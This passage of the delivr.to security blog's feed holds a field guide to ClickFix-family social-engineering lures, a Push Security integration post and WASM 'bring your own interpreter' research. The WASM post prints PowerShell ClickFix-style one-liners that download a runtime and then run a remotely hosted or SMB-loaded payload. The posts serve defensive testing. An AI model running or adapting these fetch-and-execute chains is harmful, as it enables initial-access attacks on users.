MITRE ATT&amp;CK, including recent additions like <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21509">CVE-2026–21509</a> (OLE security bypass attributed to APT28), LOTUSHARVEST (multi-stage FTP + LNK + polyglot chain), <a href="https://blog.delivr.to/dragfix-and-you-thought-clickfix-was-a-drag-51a496773cb4">DragFix</a> (our original research into drag-and-drop API abuse), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-0411">CVE-2025–0411</a> (7-Zip MotW bypass), Kimsuky MSC FakeDoc, and Mustang Panda ZIP smuggling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQewgHnJTRRZet0ot5swaw.png" /><figcaption>Mapping between techniques, actors and file types available on <a href="https://delivr.to/">https://delivr.to</a></figcaption></figure><p>Browse the full payload library at <a href="https://delivr.to/payloads">https://delivr.to/payloads</a> — a free account gives you access to the complete catalogue and the ability to test delivery against your own infrastructure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cjKiJ4GQ4O5XXleETzVY6Q.png" /><figcaption>Payload catalogue, available to download for free after signup</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DGN4a40dvkWBbJixMw-woQ.png" /><figcaption>Automatically track and report on payload deliverability</figcaption></figure><h3>Conclusion</h3><p>A control you’ve never tested is a control you can’t trust.</p><p>Clone the repository, send the samples through your email gateway and web proxy, and find out what actually gets blocked. Then iterate — extend your block lists, tune your policies, and retest.</p><p>GitHub: <a href="https://github.com/delivr-to/file-samples">https://github.com/delivr-to/file-samples</a></p><p>Platform: <a href="https://delivr.to/">https://delivr.to/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f682e345af3c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bob’ll *Fix It: A Field Guide to the *Fix Family of User-Assisted Execution Techniques]]></title>
            <link>https://medium.com/@delivrto/bobll-fix-it-a-field-guide-to-the-fix-family-of-user-assisted-execution-techniques-6b25f4c24715?source=rss-1242be189bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b25f4c24715</guid>
            <category><![CDATA[clickfix]]></category>
            <category><![CDATA[drag-fix]]></category>
            <category><![CDATA[file-fix]]></category>
            <category><![CDATA[pastejacking]]></category>
            <dc:creator><![CDATA[delivr.to]]></dc:creator>
            <pubDate>Tue, 14 Apr 2026 14:37:19 GMT</pubDate>
            <atom:updated>2026-04-14T14:37:19.754Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TGkFfKlsfOB0QpDjZaOCPg.png" /></figure><p>If you’ve been watching the phishing landscape over the past eighteen months, you’ve noticed that user-assisted execution has gone from a curiosity to the dominant initial access pattern in circulation. What started as ClickFix has spawned a growing family of variants, each finding a new way to trick users into executing attacker-supplied commands. FileFix, DragFix, InstallFix, ToastFix. The naming convention practically writes itself, and the variations keep coming.</p><p>At <a href="https://delivr.to/">delivr.to</a>, we’ve been cataloguing and building testable payloads for each *Fix variant as they emerge. This post walks through the full family tree: what each technique does, how it differs from the others, and where we expect this category to go next. Think of it as a spotter’s guide for the technique that won’t stop mutating.</p><h3>The Common Thread</h3><p>Every *Fix variant shares the same core mechanic; social engineering the user into executing attacker-controlled commands on their own machine. No exploit is needed and no attachment needs to land; the user does the work.</p><p>What varies is the delivery channel, the interaction mechanic, and the trust signal that sells the deception. Each variant is a different answer to the same question, how do you get someone to run your code willingly?</p><h3>ClickFix: Where It All Started</h3><p>ClickFix is the original. A webpage presents a fake error, CAPTCHA, or verification prompt and instructs the user to “fix” the issue by opening a terminal or Run dialog and pasting a command. Behind the scenes, JavaScript uses the Clipboard API (navigator.clipboard.writeText()) to silently load a malicious command onto the clipboard.</p><p>The technique exploded in late 2024, carried by campaigns impersonating reCAPTCHA, Cloudflare Turnstile, and Microsoft OneDrive error pages. Lumma Stealer was among the first commodity malware to adopt it at scale, using fake CAPTCHA pages that instructed users to open a Run dialog and paste a “Verification ID” that was actually a PowerShell download cradle. The Poseidon/Odyssey stealer family adapted the same approach for macOS, replacing the Run dialog with Terminal and swapping PowerShell for base64-encoded curl piped to bash, often disguised behind Cloudflare branding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePu6IWPq3P-qT2R1pWJBng.png" /><figcaption><a href="https://delivr.to/payloads/a90e9d59-a29b-47b7-b9a9-ecd6f348b0c1">🛡️ Test this payload on delivr.to</a></figcaption></figure><p>ClickFix succeeds because it reuses muscle memory. Users have been trained to follow instructions on screen. A CAPTCHA page that says “press Win+R, paste, and hit Enter” isn’t obviously malicious to someone who regularly interacts with browser verification flows.</p><p>The classic OneDrive variant takes a different approach to the same end. Rather than impersonating a verification service, it mimics a OneDrive file-sharing page with a fake DNS error, complete with a familiar blue error dialog and a “How to fix” button. Clicking the button silently copies a PowerShell command that flushes DNS (to sell the pretext) before downloading and executing a payload via AutoIt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1SaSCU-b_dRPEbzF9J5GxQ.png" /><figcaption><a href="https://delivr.to/payloads/ba093532-4a4a-488d-97fd-eadf3eb93bc2">🛡️ Test this payload on delivr.to</a></figcaption></figure><p>The <a href="https://delivr.to/">delivr.to</a> catalog also includes a ClickFix variant combined with WASM BYOI (Bring Your Own Interpreter), where four different WebAssembly runtimes (Wasmer, Wasmtime, wazero) are downloaded and used to execute benign test payloads. This demonstrates how ClickFix can be chained with living-off-the-land binaries that don’t yet have detection signatures, a combination that is particularly difficult for endpoint security to catch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y437NmqKtJS56Wb_kINMgQ.png" /><figcaption><a href="https://delivr.to/payloads/8c08324f-8f53-4751-8f51-5068513e6974">🛡️ Test this payload on delivr.to</a></figcaption></figure><h3>FileFix: From the Terminal to the Explorer Bar</h3><p>FileFix, published by <a href="https://mrd0x.com/filefix-clickfix-alternative/">mrd0x</a> in mid-2025, asked an elegant question: what if you didn’t need the user to open a terminal at all?</p><p>Instead of the Run dialog, FileFix targets Windows Explorer’s address bar. The lure page (typically a OneDrive file-sharing notification) instructs users to open an Explorer window, ostensibly to upload or locate a file, and paste the clipboard contents into the address bar. Explorer will happily execute commands prefixed with cmd /c or powershell pasted into its address bar, something most users have never considered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8rELIwOz9adjeFu4paxrZA.png" /><figcaption><a href="https://delivr.to/payloads/f7f8b5f5-3c22-4061-ae83-8386c4121731">🛡️ Test this payload on delivr.to</a></figcaption></figure><p>This is a meaningful evolution. Security awareness training focuses on terminal commands and Run dialogs as danger zones. Nobody warns users about pasting into Explorer’s address bar. FileFix exploits this awareness gap.</p><p>Here is another FileFix baseline variant. Same OneDrive lure with no obfuscation applied to the JavaScript or the clipboard command, useful for testing detection at its simplest form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MvPQBLAnMjzpcbJGo1fINA.png" /><figcaption><a href="https://delivr.to/payloads/02858d3c-a22e-4624-a66c-dfec901c3442">🛡️ Test this payload on delivr.to</a></figcaption></figure><p>Threat actors wasted no time operationalising the research. Within weeks, <a href="https://www.cloudsek.com/blog/threat-actors-lure-victims-into-downloading-hta-files-using-clickfix-to-spread-epsilon-red-ransomware">CloudSEK documented campaigns</a> using a FileFix variant to distribute Epsilon Red ransomware through fake verification pages that instructed users to save the webpage as an HTA file. The HTA, when launched, executed embedded commands to download and run the ransomware binary. This “save as HTA” twist added another dimension: the user wasn’t pasting a command at all, just saving a file and renaming it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CqSKsRDnBYfLE5YvRYBp1w.png" /><figcaption><a href="https://delivr.to/payloads/0529e06b-1761-422e-9b93-39758d2f328d">🛡️ Test this payload on delivr.to</a></figcaption></figure><p>We published a dedicated blog post, <a href="https://blog.delivr.to/filefixed-detecting-and-preventing-filefix-exploitation-90825eb155ae">FileFixed</a>, covering detection and prevention strategies including Sublime MQL rules, Sigma rules for monitoring browser child processes and the TypedPaths registry key, and the NoRun Group Policy as a preventive control.</p><h3>DragFix: Bypassing the Clipboard Entirely</h3><p>DragFix, published as <a href="https://blog.delivr.to/dragfix-and-you-thought-clickfix-was-a-drag-51a496773cb4">delivr.to original research</a> in February 2026, represents another evasion strategy.</p><p>Every ClickFix and FileFix variant relies on the system clipboard. Enterprise security products such as <a href="https://pushsecurity.com/">Push Security</a> have responded accordingly: clipboard monitoring, paste event interception, and PowerShell command-line logging all target the clipboard-to-terminal pipeline. DragFix sidesteps all of it.</p><p>The technique exploits the HTML5 Drag and Drop API. A lure page presents a draggable element styled as a file icon or shell script. When the user drags it into a terminal window, JavaScript fires a dragstart event and uses DataTransfer.setData(&#39;text/plain&#39;, maliciousCommand) to set the drop payload. The Drag and Drop API&#39;s DataTransfer object is a completely separate data channel from the system clipboard. No clipboard write occurs. No paste event fires. Clipboard monitoring sees nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FxOiwelJyXCPAbenBZeGSA.png" /><figcaption><a href="https://delivr.to/payloads/176f374a-9758-4dfe-8c7f-299526423310">🛡️ Test this payload on delivr.to</a></figcaption></figure><p>It gets worse. In Windows Terminal and several other terminal emulators, dropped text containing a newline character executes immediately. The user drags what looks like a file, drops it on a terminal window, and the command runs before they can read it.</p><p>DragFix works on both macOS and Windows. On macOS, it targets Terminal.app and iTerm2 with base64-encoded osascript commands. Detection requires monitoring the pasteboard for drag activity and observing terminal state changes during drag operations, approaches that are not part of most enterprise security stacks today.</p><h3>InstallFix</h3><p>InstallFix, identified by <a href="https://pushsecurity.com/blog/installfix/">Push Security</a> in early 2026, flips the social engineering model. Where other *Fix variants manufacture a pretext (fake CAPTCHA, fake error, fake file share), InstallFix exploits a genuine one: the user actually wants to install software.</p><p>Attackers clone the installation pages of legitimate developer tools, pixel-perfect replicas complete with branding, navigation, and dark mode styling. The cloned pages are distributed via Google Ads targeting searches like “Claude Code install” or “NotebookLM setup”. Victims searching for installation instructions click a sponsored result that looks identical to the real documentation site, copy the install command, and paste it into their terminal. Except the command is not the real install command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xJIZ9BE3ckIKUiqBq0mWXw.png" /><figcaption><a href="https://delivr.to/payloads/ad3cb7f6-4d21-495f-888a-dc3606dd7ff1">🛡️ Test this payload on delivr.to</a></figcaption></figure><p>This is particularly insidious for developer tools that legitimately ask users to pipe curl output to a shell. When the real Claude Code installation instructions say “paste this curl command into your terminal”, a cloned page saying the same thing is almost indistinguishable from the original. The delivered payload in observed campaigns was Amatera Stealer, using staged execution through cmd.exe to mshta.exe on Windows and base64-encoded curl-to-zsh on macOS.</p><h3>ToastFix: Adding Another Layer of Trust</h3><p>ToastFix, described by <a href="https://0xh4lpy.medium.com/toastfix-chaining-a-clickfix-attack-with-toast-notifications-72082694fef9">0xh4lpy</a> in April 2026, is the newest member of the family. It chains ClickFix social engineering with spoofed Windows toast notifications that appear to come from trusted system applications.</p><p>The technique abuses Application User Model IDs (AUMIDs) to impersonate Windows Defender, making a toast notification appear in the system tray that claims a critical security update is required. Clicking the “Update” button copies a command to the clipboard and presents paste instructions. The trust signal here is powerful: the notification doesn’t come from a browser tab that could be dismissed as suspicious. It appears to originate from the operating system itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iamLVNsHGPBG2VhPHjKdEg.png" /><figcaption><a href="https://delivr.to/payloads/59de71a6-792e-44d3-8508-26233a607cd5">🛡️ Test this payload on delivr.to</a></figcaption></figure><p>ToastFix demonstrates the natural evolution of the *Fix family, with each new variant adding another layer of legitimacy to the social engineering. ClickFix used fake CAPTCHAs. InstallFix used real installation workflows. ToastFix uses the OS notification system. The bar for user suspicion keeps rising.</p><h3>The Full *Fix Catalog</h3><p>Across all variants, the <a href="https://delivr.to/">delivr.to</a> catalog now includes the following testable *Fix payloads.</p><p><strong>ClickFix</strong></p><ul><li>Lumma Stealer fake reCAPTCHA (Windows, PowerShell to HTA) — <a href="https://delivr.to/payloads/cca980c5-770e-467b-8340-c11c5109561e">Test payload</a></li><li>Poseidon/Odyssey Cloudflare CAPTCHA (macOS, curl to bash via osascript) — <a href="https://delivr.to/payloads/a90e9d59-a29b-47b7-b9a9-ecd6f348b0c1">Test payload</a></li><li>OneDrive pastejacking with AutoIt BYOI (Windows, multi-stage) — <a href="https://delivr.to/payloads/ba093532-4a4a-488d-97fd-eadf3eb93bc2">Test payload</a></li><li>OneDrive pastejacking with Python BYOI shellcode injection (Windows, multi-stage) — <a href="https://delivr.to/payloads/35f2591b-3c12-4c91-9c45-7fa16d0e3716">Test payload</a></li><li>WASM BYOI ClickFix with runtime variants (Wasmer/Wasmtime/wazero) — <a href="https://delivr.to/payloads/8c08324f-8f53-4751-8f51-5068513e6974">Test payload</a></li></ul><p><strong>FileFix</strong></p><ul><li>OneDrive lure with PowerShell messagebox (Windows, Explorer address bar) — <a href="https://delivr.to/payloads/02858d3c-a22e-4624-a66c-dfec901c3442">Test payload</a></li><li>OneDrive lure with obfuscated curl-to-EXE (Windows, Explorer address bar) — <a href="https://delivr.to/payloads/f7f8b5f5-3c22-4061-ae83-8386c4121731">Test payload</a></li><li>Save-as-HTA verification page (Windows, inspired by Epsilon Red campaign) — <a href="https://delivr.to/payloads/0529e06b-1761-422e-9b93-39758d2f328d">Test payload</a></li></ul><p><strong>DragFix</strong></p><ul><li>macOS sync notification with osascript drag-and-drop (macOS, Terminal/iTerm2) — <a href="https://delivr.to/payloads/176f374a-9758-4dfe-8c7f-299526423310">Test payload</a></li></ul><p><strong>InstallFix</strong></p><ul><li>Claude Code documentation clone (Windows/macOS, Anthropic branding) — <a href="https://delivr.to/payloads/ad3cb7f6-4d21-495f-888a-dc3606dd7ff1">Test payload</a></li></ul><p><strong>ToastFix</strong></p><ul><li>Windows Defender toast notification with clipboard injection (Windows) — <a href="https://delivr.to/payloads/59de71a6-792e-44d3-8508-26233a607cd5">Test payload</a></li></ul><p>Each payload is fully benign. PowerShell commands write marker files, osascript displays dialog boxes, HTA files show messageboxes, and EXEs are <a href="https://delivr.to/">delivr.to</a> test binaries. The social engineering and delivery mechanics are faithfully reproduced for realistic testing.</p><h3>What Comes Next?</h3><p>The *Fix family shows no signs of slowing down. Every new variant finds a different interaction mechanic, a different trust signal, or a different execution context that security tools aren’t monitoring yet.</p><p>We expect to see *Fix variants targeting:</p><ul><li><strong>IDE terminals</strong> within VS Code, JetBrains, and similar development environments, where paste-to-execute is a natural workflow</li><li><strong>Mobile platforms</strong>, where Share Sheet or AirDrop interactions could serve as delivery mechanisms</li><li><strong>Browser DevTools consoles</strong>, where the “paste this to fix the issue” pattern is already familiar to web developers</li><li><strong>Voice assistant and AI chat interfaces</strong>, where natural language instructions could guide users through multi-step execution</li></ul><p>The full *Fix catalog is available to download and/or send for free right now on <a href="https://delivr.to/">delivr.to</a>.</p><h3>delivr.to</h3><p><a href="https://delivr.to/">delivr.to</a> is a platform for validating email &amp; web security controls through the emulation of the full spectrum of attacker techniques.</p><p><a href="https://delivr.to/">delivr.to</a> has a broad collection of over 800 payload samples, ranging from recreations of threat actor activity, esoteric and weaponisable file formats, and emerging techniques. These are presented in hand-crafted ‘campaigns’ to provide an evidence-based appraisal of email &amp; web defences and highlight areas for attack surface reduction.</p><p><a href="https://delivr.to/">delivr.to</a> offers a free 30 day trial, so head over and try it out now!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b25f4c24715" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Validating Browser Defences with Push Security and delivr.to]]></title>
            <link>https://medium.com/@delivrto/validating-browser-defences-with-push-security-and-delivr-to-51d4f5300074?source=rss-1242be189bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/51d4f5300074</guid>
            <category><![CDATA[purple-teaming]]></category>
            <category><![CDATA[adversary-emulation]]></category>
            <category><![CDATA[purple-team]]></category>
            <dc:creator><![CDATA[delivr.to]]></dc:creator>
            <pubDate>Sun, 12 Apr 2026 12:13:30 GMT</pubDate>
            <atom:updated>2026-04-12T12:13:30.670Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9yFTTkDRDDTkKXbOa7W8Bg.png" /></figure><p><strong>TL;DR</strong> — <a href="https://delivr.to/">delivr.to</a> now integrates with Push Security. Run a web campaign, and any detections raised by the Push browser extension during the test are automatically correlated back to the specific payloads you sent. You get a single view covering whether each payload reached the browser, what happened to it on disk, and whether Push observed anything suspicious in the interaction — including AiTM and BiTM flows. Available today on Premium and Enterprise plans at no extra cost.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*5wGyQNSo4MWjawdrXAym4Q.png" /></figure><h3>Introduction</h3><p>Phishing has moved out of the inbox. Over the past two years, initial access tradecraft has steadily migrated towards the browser — through malvertising, SEO poisoning, fake software downloads, ClickFix lures, and AiTM proxies that intercept session cookies in real time. Mandiant’s M-Trends 2025 reported that web compromise had nearly doubled year-on-year as an initial access vector, and recent industry reporting suggests that roughly one in three phishing attacks now land entirely outside of email.</p><p>For defenders, that shift creates a visibility problem. Email security stacks are mature, instrumented, and well understood. The browser, by comparison, is a patchwork of proxies, DNS filters, Safe Browsing, EDR telemetry, and a growing set of browser-native tooling that rarely share a single source of truth. When a payload is blocked, pinpointing the layer that caught it — or worse, confirming it was blocked at all — is still far harder than it should be.</p><p>This post introduces a new integration between delivr.to and Push Security that closes part of that gap. It lets you run realistic browser-delivered payloads through your environment and correlate the results directly with Push’s detection events, so you can see not just whether a campaign reached a user’s browser, but what happened next.</p><h3>Introduction to Push Security</h3><p>For those who haven’t come across them before, Push Security is an identity-focused security platform delivered primarily through a browser extension. Rather than relying on network telemetry or post-compromise endpoint data, the extension sits inside the browser itself and observes what the user is actually doing — what pages they visit, what credentials they enter, and what authentication flows they complete.</p><p>That vantage point gives Push visibility into a class of attacks that traditional controls often miss. AiTM proxies that clone a legitimate login page and relay credentials in real time are detectable because the extension can see the page, the DOM, and the destination of the form submission. Look-alike domains, credential re-use across services, unmanaged SaaS logins, and session token theft are all caught at the point of interaction rather than reconstructed after the fact.</p><p>For anyone running a purple team, Push sits in an interesting place. Most tooling either blocks traffic before the browser or reacts after the endpoint has been touched. Push is instrumenting the layer in between — the one where the user is most likely to be manipulated, and the one that, until recently, was hardest to test meaningfully.</p><h3>Integration</h3><p>Web Campaigns on <a href="https://delivr.to/">delivr.to</a> were built to test exactly this layer. Instead of sending a payload as an email attachment or link, a web campaign generates hosted download URLs that you distribute yourself — through a messaging app, a custom lure, or simply by clicking the link directly during a test. Each download is hash-verified in the browser, so you know whether the file landed intact, and on Chromium with Download Monitoring enabled we also detect post-write deletions by endpoint tooling.</p><p>That gives you one half of the picture. You know the payload reached the browser, and you know what happened to it on disk. What you don’t know, without pulling logs from somewhere else, is what the browser-layer controls observed while it was happening.</p><p>The Push integration fills that gap. When a web campaign runs, <a href="https://delivr.to/">delivr.to</a> polls the Push Security API for detection events generated during the campaign window and correlates them back to the individual links you sent. Every payload that triggered a Push detection is flagged against the specific campaign link, with the detection type, severity, and the employee who triggered it shown alongside the hash verification and download results you already get.</p><p>For AiTM and BiTM payloads — which now cover real Evilginx and EvilnoVNC infrastructure for Okta, Microsoft 365, and Amazon login flows — the integration becomes especially useful. Push’s browser extension is designed to detect exactly these kinds of credential proxies, and the integration lets you validate that detection end-to-end, from the initial click through to the Push dashboard, without leaving delivr.to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WroVuiOUPLxQPaxkBaWAZQ.png" /></figure><h3>Setup</h3><p>Configuration takes about a minute. From the <a href="https://delivr.to/">delivr.to</a> integrations page, select Push Security from the list of browser security integrations and paste in an API key generated from your Push tenant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*sB_B_nVHhjUBz2gx2vUe_g.png" /></figure><p>Once the integration is saved, any subsequent web campaign you run will automatically poll Push for detection events while the campaign is active. There is nothing else to configure and nothing to enable per-campaign. The polling runs on a short interval for the lifetime of the campaign, so results update in near real time as detections are raised in Push.</p><h3>Running a Campaign</h3><p>Launching a web campaign with the Push integration enabled looks the same as any other web campaign. Select a template or individual payloads, hit start, and distribute the generated links to whoever is carrying out the test — whether that’s yourself from a managed laptop, a tabletop participant, or a scheduled red team exercise.</p><p>As links are clicked, detections that appear in Push for those interactions will be surfaced against the relevant link in the delivr.to campaign results. For direct download links, correlation is straightforward — the detection URL contains the link identifier. For AiTM and BiTM redirects, where the user ends up on an evilginx or evilnovnc domain, the integration correlates detections by matching the Push-detected domain to the originating recipe and the click timestamp, so you still get an accurate mapping back to the specific payload that was clicked.</p><p>The result is a single view that tells you, for each payload, whether it reached the browser, whether it landed intact on disk, and whether Push observed anything suspicious during the interaction. Campaign-level reporting rolls up the same data so you can see, at a glance, how your browser-layer controls performed across the entire test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-klF3y_NetVXmi2KvQnjQ.png" /></figure><h3>Further Reading</h3><p>Web Campaigns: <a href="https://blog.delivr.to/beyond-the-inbox-introducing-web-campaigns-ee137d868dc0">https://blog.delivr.to/beyond-the-inbox-introducing-web-campaigns-ee137d868dc0</a></p><p>Emulating AiTM and BiTM Attacks: <a href="https://blog.delivr.to/emulating-aitm-and-bitm-attacks-d7a4ac756576">https://blog.delivr.to/emulating-aitm-and-bitm-attacks-d7a4ac756576</a></p><p>Push Security: <a href="https://pushsecurity.com/">https://pushsecurity.com</a></p><h3>delivr.to</h3><p><a href="https://delivr.to/">delivr.to</a> is a platform for validating email &amp; web security controls through the emulation of the full spectrum of attacker techniques.</p><p><a href="https://delivr.to/">delivr.to</a> has a broad collection of over 800 payload samples, ranging from recreations of threat actor activity, esoteric and weaponisable file formats, and emerging techniques. These are presented in hand-crafted ‘campaigns’ to provide an evidence-based appraisal of email &amp; web defences and highlight areas for attack surface reduction.</p><p><a href="https://delivr.to/">delivr.to</a> offers a free 30 day trial, so head over and try it out now!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51d4f5300074" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WASM as a BYOI Target]]></title>
            <link>https://medium.com/@delivrto/wasm-as-a-byoi-target-95acd8b9399e?source=rss-1242be189bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/95acd8b9399e</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[initial-access]]></category>
            <category><![CDATA[purple-team]]></category>
            <dc:creator><![CDATA[delivr.to]]></dc:creator>
            <pubDate>Mon, 30 Mar 2026 19:28:15 GMT</pubDate>
            <atom:updated>2026-03-30T19:28:15.338Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oJcuSEAzShLT46t1LPCqNA.png" /></figure><p>In our <a href="https://blog.delivr.to/webassembly-smuggling-it-wasmt-me-648a62547ff4">previous research</a>, we explored how Rust compiled to WebAssembly could reconstruct and deliver payloads entirely client-side, bypassing JavaScript-focused detection rules. That work lived inside the browser sandbox.</p><p>This research takes WASM off the browser and onto the endpoint, exploring how standalone runtimes can serve as Bring Your Own Interpreter (BYOI) vehicles for initial access.</p><p>Rather than dropping a custom malicious binary that triggers static analysis, an attacker deploys a trusted, legitimate runtime and feeds it a payload. Recent reporting on the LeakNet ransomware group brought renewed attention to this approach. LeakNet installed the Deno JavaScript runtime on victim machines and passed a base64-encoded payload via a <em>data:</em> URI for fileless in-memory execution, combining ClickFix lures with a bring-your-own-runtime chain that left minimal forensic artefacts.</p><p>That reporting prompted us to ask whether standalone WASM runtimes could be used the same way. We have not yet observed WASM runtimes being abused for BYOI in the wild, but as this research demonstrates, the building blocks are all in place.</p><p>We evaluated five runtimes across three delivery methods (local execution, remote URL loading, and SMB/UNC path loading), tested them on Windows, checked whether their binaries are code-signed, and built ClickFix-style proof-of-concept delivery chains for each.</p><h3><strong>Wasmer</strong></h3><p>Wasmer is the most full-featured runtime in this evaluation. It can fetch and execute a WASM module from a URL, a package registry, or a local/UNC path.</p><p>URLs must serve files in WEBC format (Wasmer’s container packaging), not raw <em>.wasm</em>. A WEBC container is trivial to build from a <em>.wasm</em> file using <em>wasmer package build</em>, but it does mean the attacker needs to package the payload before hosting it. Over UNC paths, this restriction does not apply, and raw <em>.wasm</em> files load without issue.</p><p>Wasmer also has a public package registry at <a href="http://wasmer.io/">wasmer.io</a> where anyone can publish packages, so naturally we gave it a go.</p><p>We created a free account, published our test payload as a WEBC package, and ran it by name from a clean machine. The entire flow took under a minute. <em>wasmer run delivrto/wasm-test</em> resolved the package name against the registry, downloaded the WEBC, cached it locally, and executed the WASM module.</p><p><strong>Example: ClickFix with Remote WEBC Loading</strong></p><p>This simulates a ClickFix scenario where the victim pastes a command that downloads the Wasmer runtime and executes a remotely-hosted WEBC payload. The runtime is fetched from GitHub, extracted, and used to run a payload hosted on attacker infrastructure.</p><pre>$t=&quot;$env:TEMP\wr&quot;;md $t -Force|Out-Null<br>iwr &quot;https://github.com/wasmerio/wasmer/releases/download/v7.0.1/wasmer-windows-amd64.tar.gz&quot; -OutFile &quot;$t\w.tar.gz&quot;<br>tar xzf &quot;$t\w.tar.gz&quot; -C $t<br>&amp; &quot;$t\bin\wasmer.exe&quot; run &quot;https://files.delivrto.me/test.webc&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I-eKzYvAx-uvU7VFh7gWpA.png" /><figcaption>wasmer with remote .webc loading</figcaption></figure><p><strong>Example: ClickFix with Registry Package</strong></p><p>This is the most operationally realistic scenario we tested. The attacker publishes a WASM payload to the public Wasmer registry under a plausible name. The ClickFix lure downloads the Wasmer runtime and runs the package by name in a single pasted command. The payload is never referenced by URL or file path.</p><pre>$t=&quot;$env:TEMP\wr&quot;;md $t -Force|Out-Null<br>iwr &quot;https://github.com/wasmerio/wasmer/releases/download/v7.0.1/wasmer-windows-amd64.tar.gz&quot; -OutFile &quot;$t\w.tar.gz&quot;<br>tar xzf &quot;$t\w.tar.gz&quot; -C $t<br>&amp; &quot;$t\bin\wasmer.exe&quot; run delivrto/wasm-test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oesw4qi7vV73D9P1uS6oCw.png" /><figcaption>wasmer with registry package loading</figcaption></figure><p>The command <em>wasmer run delivrto/wasm-test</em> produces <em>Hello from delivr.to!</em>. A real payload would replace this with reconnaissance, C2 beaconing, or second-stage retrieval. The registry package name is the only indicator of what will execute, and it can be made to look like any legitimate tool.</p><p><strong>Example: UNC Path Execution</strong></p><p>If the attacker controls an SMB share (or is running Responder), pointing Wasmer at a UNC path triggers SMB authentication before the file is even parsed. The WASM module itself also executes if the file is valid.</p><pre>&amp; &quot;$t\bin\wasmer.exe&quot; run &quot;\\serve.files.delivrto.me/smb/test.wasm&quot;</pre><h3><strong>Wasmtime</strong></h3><p>Wasmtime is developed by the Bytecode Alliance and is the reference implementation for WASI. It can’t load from a URL, however does accept local file paths and UNC paths, so we can achieve something similar with an SMB share. The runtime ships as a single executable inside a zip archive.</p><p><strong>Example: Direct UNC Execution</strong></p><pre>$t=&quot;$env:TEMP\wt&quot;;md $t -Force|Out-Null<br>iwr &quot;https://github.com/bytecodealliance/wasmtime/releases/download/v43.0.0/wasmtime-v43.0.0-x86_64-windows.zip&quot; -OutFile &quot;$t\w.zip&quot;<br>Expand-Archive &quot;$t\w.zip&quot; -Dest $t -Force<br>&amp; &quot;$t\wasmtime-v43.0.0-x86_64-windows\wasmtime.exe&quot; run &quot;\\serve.files.delivrto.me/smb/test.wasm&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2n5fypTILocAHmTeHW9yjw.png" /><figcaption>wasmtime with remote SMB .wasm loading</figcaption></figure><h3><strong>Wazero</strong></h3><p>wazero is a WebAssembly runtime written in pure Go with no external dependencies. The resulting binary is 5.5 MB, extracted from a 2.1 MB zip, making it the smallest “production-grade” runtime tested.</p><p>Its <em>-mount</em> flag functions similarly to wasmtime’s — <em>dir</em>, mapping host directories into the WASI sandbox, and also accepts UNC paths.</p><p><strong>Example: ClickFix Drop and Execute</strong></p><p>wazero’s small size makes the execution chain fast. The entire runtime is under 6 MB on disk after extraction.</p><pre>$t=&quot;$env:TEMP\wz&quot;;md $t -Force|Out-Null<br>iwr &quot;https://github.com/tetratelabs/wazero/releases/download/v1.11.0/wazero_1.11.0_windows_amd64.zip&quot; -OutFile &quot;$t\w.zip&quot;<br>Expand-Archive &quot;$t\w.zip&quot; -Dest $t -Force<br>iwr &quot;https://files.delivrto.me/test.wasm&quot; -OutFile &quot;$t\p.wasm&quot;<br>&amp; &quot;$t\wazero.exe&quot; run &quot;$t\p.wasm&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uxRke1_opy6R6gPD2RVKDg.png" /><figcaption>wazero with remote .wasm loading</figcaption></figure><h3><strong>Wasm3</strong></h3><p>wasm3 deserves a mention for its size alone. It is a WebAssembly interpreter written in C, and the prebuilt Windows x64 binary is 284 KB. A complete WebAssembly runtime in less space than a typical JPEG, shipped as a direct <em>.exe</em> download from GitHub with no archive extraction needed.</p><p>That size is compelling from a delivery 